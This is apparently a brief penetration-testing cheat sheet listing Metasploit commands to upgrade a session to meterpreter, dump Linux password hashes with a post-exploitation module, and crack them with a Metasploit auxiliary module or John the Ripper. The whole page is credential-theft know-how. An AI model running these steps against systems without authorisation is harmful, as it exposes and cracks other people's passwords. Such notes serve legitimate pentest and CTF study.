root💀bl4ck4non-sec:~#

Hack. Eat. Sleep. Repeat!!!

View on GitHub

Upgrading the session gotten to a meterpreter session

sessions -u 1

Using a metasploit module to dump credentials

use post/linux/gather/hashdump
set SESSION //set this to the meterpreter session

Then after unshadowing, use this auxiliary module

use auxiliary/analyze/crack_linux
set SHA512 true
run

You can also use john to crack the hash directly